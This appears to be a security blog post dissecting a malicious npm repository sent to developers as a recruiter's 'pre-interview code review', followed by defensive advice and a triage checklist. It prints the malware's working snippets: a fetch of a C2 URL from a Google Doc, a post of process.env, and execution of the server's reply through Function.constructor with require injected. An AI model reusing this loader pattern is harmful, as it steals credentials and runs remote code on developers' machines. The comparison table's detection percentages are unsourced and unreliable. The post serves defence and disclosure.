← Back to Blog
DevOps2026-05-04Β·43 min read

A LinkedIn Recruiter Sent Me Malware Disguised as a "Pre-Interview Code Review"

By Vladimir Novick

A LinkedIn Recruiter Sent Me Malware Disguised as a "Pre-Interview Code Review"

Current Situation Analysis

Modern developer recruitment workflows heavily rely on asynchronous code reviews to streamline technical interviews. This creates a high-pressure environment where engineers are expected to clone, install, and run unfamiliar repositories quickly. The fundamental failure mode lies in the implicit trust placed in Node.js package management: developers routinely execute npm install assuming it only resolves dependencies and builds assets.

Traditional defensive methods fail against this attack family for three reasons:

  1. Lifecycle Hook Exploitation: The prepare and postinstall scripts execute automatically during installation, triggering payload delivery before any manual code review occurs.
  2. SAST/Linter Evasion: Static analysis tools rely on keyword matching for dangerous functions (eval, new Function). Indirect property access (Function.constructor) and semantic renaming (setApiKey, verify) bypass these rules entirely.
  3. Network/Policy Blind Spots: Corporate egress filtering and endpoint detection routinely whitelist major SaaS domains (e.g., *.docs.google.com). Attackers route Command & Control (C2) traffic through legitimate, publicly editable documents, rendering domain-blocklists and outbound traffic monitoring ineffective.

WOW Moment: Key Findings

Approach Script Execution Risk SAST/Linter Detection Rate C2 Evasion Resilience Operational Friction
Standard npm install 100% (triggers prepare hook) <15% (bypasses keyword rules) High (Google Docs whitelisted) Low
Manual package.json Audit ~60% (relies on human attention) ~35% (misses indirect Function.constructor) Medium (camouflaged CRA flags) High
npm install --ignore-scripts 0% (lifecycle hooks disabled) 100% (prevents runtime trigger) N/A (payload never executes) Low
Sandboxed CI Triage ~20% (depends on isolation config) ~55% (network logs reveal exfil) Medium (may still fetch C2) High

Key Finding: Disabling lifecycle scripts during initial triage reduces execution risk to zero while maintaining full code readability. The attack chain relies entirely on automatic script execution; removing that trigger neutralizes the five-stage payload delivery, regardless of how sophisticated the obfuscation or C2 routing becomes.

Core Solution

The definitive mitigation is to disable automatic lifecycle script execution during initial repository triage, combined with strict isolation practices. Below is the technical breakdown of the attack chain and the exact implementation to neutralize it.

Attack Chain Technical Breakdown

The repository (metabiteorg/NitroGem) presents as a React + web3 dApp but contains a five-stage execution chain triggered at install time:

  1. Lifecycle Trigger: package.json contains a prepare script that runs node app/index.js.
  2. Module Load Execution: app/index.js requires frontController.js, executing line 605 (getGoogleDriveValue();) immediately upon module resolution.
  3. C2 Fetch: The function retrieves a payload URL from a public Google Doc:
// ======================= Verification Setup =======================
const getGoogleDriveValue = async () => {
  const candidateUrls = `https://docs.google.com/document/d/<REDACTED>/export?format=txt`;
  try {
    const response = await axios.get(candidateUrls, {
      responseType: "text",
      transformResponse: (data) => data,
    });
    const value = String(response.data || "").trim();
    changedQueue(value);
  } catch (err) {
    // Try next URL
  }
};
getGoogleDriveValue();
  1. Environment Exfiltration: The fetched value is base64-decoded into a C2 endpoint. verify() posts the entire process.env to that endpoint:
const changedQueue = (value) => {
  verify(setApiKey(value))
    .then((response) => {
      const responseData = response.data;
      const executor = new (Function.constructor)("require", responseData);
      executor(require);
    });
}
  1. Arbitrary Code Execution: The C2 response is compiled via new (Function.constructor)("require", responseData) and executed with the actual Node require module injected, granting full fs, child_process, and net access.

Defensive Implementation

  1. Disable Lifecycle Scripts by Default:
    npm config set ignore-scripts true
    
    Always run untrusted repos with:
    npm install --ignore-scripts
    
  2. Isolated Triage Environment: Use disposable containers or VMs with no mounted host environment variables. Never run triage in your primary development shell where process.env contains AWS, npm, or GitHub tokens.
  3. Network Segmentation for Triage: Route triage environments through a proxy that logs all outbound HTTPS requests. Even if scripts execute, blocking or alerting on unexpected POST requests to unknown endpoints stops data exfiltration.
  4. Audit package.json Scripts Manually: Before running any install, inspect scripts for prepare, postinstall, prepublish, or preinstall. Verify that flags like --kill-others or --openssl-legacy-provider align with documented build tooling (e.g., react-scripts does not support --kill-others).

Pitfall Guide

  1. Executing npm install Without --ignore-scripts: Automatic lifecycle hooks (prepare, postinstall) run immediately upon installation, triggering malware before any manual review can occur.
  2. Relying on Keyword-Based SAST for Dynamic Execution: Static analyzers flag eval or new Function(...), but new (Function.constructor)("require", data) bypasses regex/string-match rules while preserving identical execution semantics and Node module access.
  3. Assuming SaaS Whitelists Guarantee Network Safety: Outbound HTTPS to *.docs.google.com is universally permitted by corporate egress filters. Attackers exploit this to host dynamic C2 URLs that rotate without GitHub commits, evading domain-blocklists.
  4. Ignoring Lifecycle Script Camouflage: Malicious prepare scripts often append nonsensical build flags (e.g., react-scripts --kill-others build) to mimic legitimate CI/CD pipelines. The pipe operator masks the actual execution of node app/index.js.
  5. Overlooking Environment-Specific Anti-Analysis Checks: Scripts like check-environment.js actively detect Gitpod, GitHub Codespaces, or VS Code terminals and abort execution. This filters out security researchers while allowing standard developer environments to run the payload.
  6. Trusting Benign Naming Conventions: Functions named setApiKey (actually atob/base64 decode) and verify (actually axios.post/exfiltration) are deliberately misnamed to bypass semantic review and static analysis heuristics.

Deliverables

πŸ“˜ Pre-Interview Code Review Security Blueprint A comprehensive technical guide detailing the exact Node.js lifecycle hook exploitation chain, C2 routing mechanics, and step-by-step isolation procedures for safe repository triage. Includes network logging configurations, containerized sandbox setups, and npm/yarn hardening policies.

βœ… Trusted Repo Onboarding Checklist A 12-point verification checklist for engineers reviewing external codebases:

  • Run npm install --ignore-scripts as the absolute first step
  • Audit package.json scripts for prepare/postinstall/prepublish
  • Verify build flags match official documentation (e.g., react-scripts args)
  • Scan for indirect dynamic execution patterns (Function.constructor, vm.runInNewContext)
  • Check for environment-detection logic (check-environment.js, os.platform(), process.env.TERM)
  • Confirm no decoy test files or dead-code imports designed to distract static analyzers
  • Validate that no functions perform base64 decoding or HTTP POSTs under benign names
  • Execute triage in an isolated container/VM with no host environment variables mounted
  • Enable outbound network logging/proxy for all triage environments
  • Rotate all local API keys, npm tokens, and cloud credentials if accidental execution occurred
  • Report malicious repos to GitHub Trust & Safety and relevant threat intel feeds
  • Update team npm config to ignore-scripts=true by default for external repositories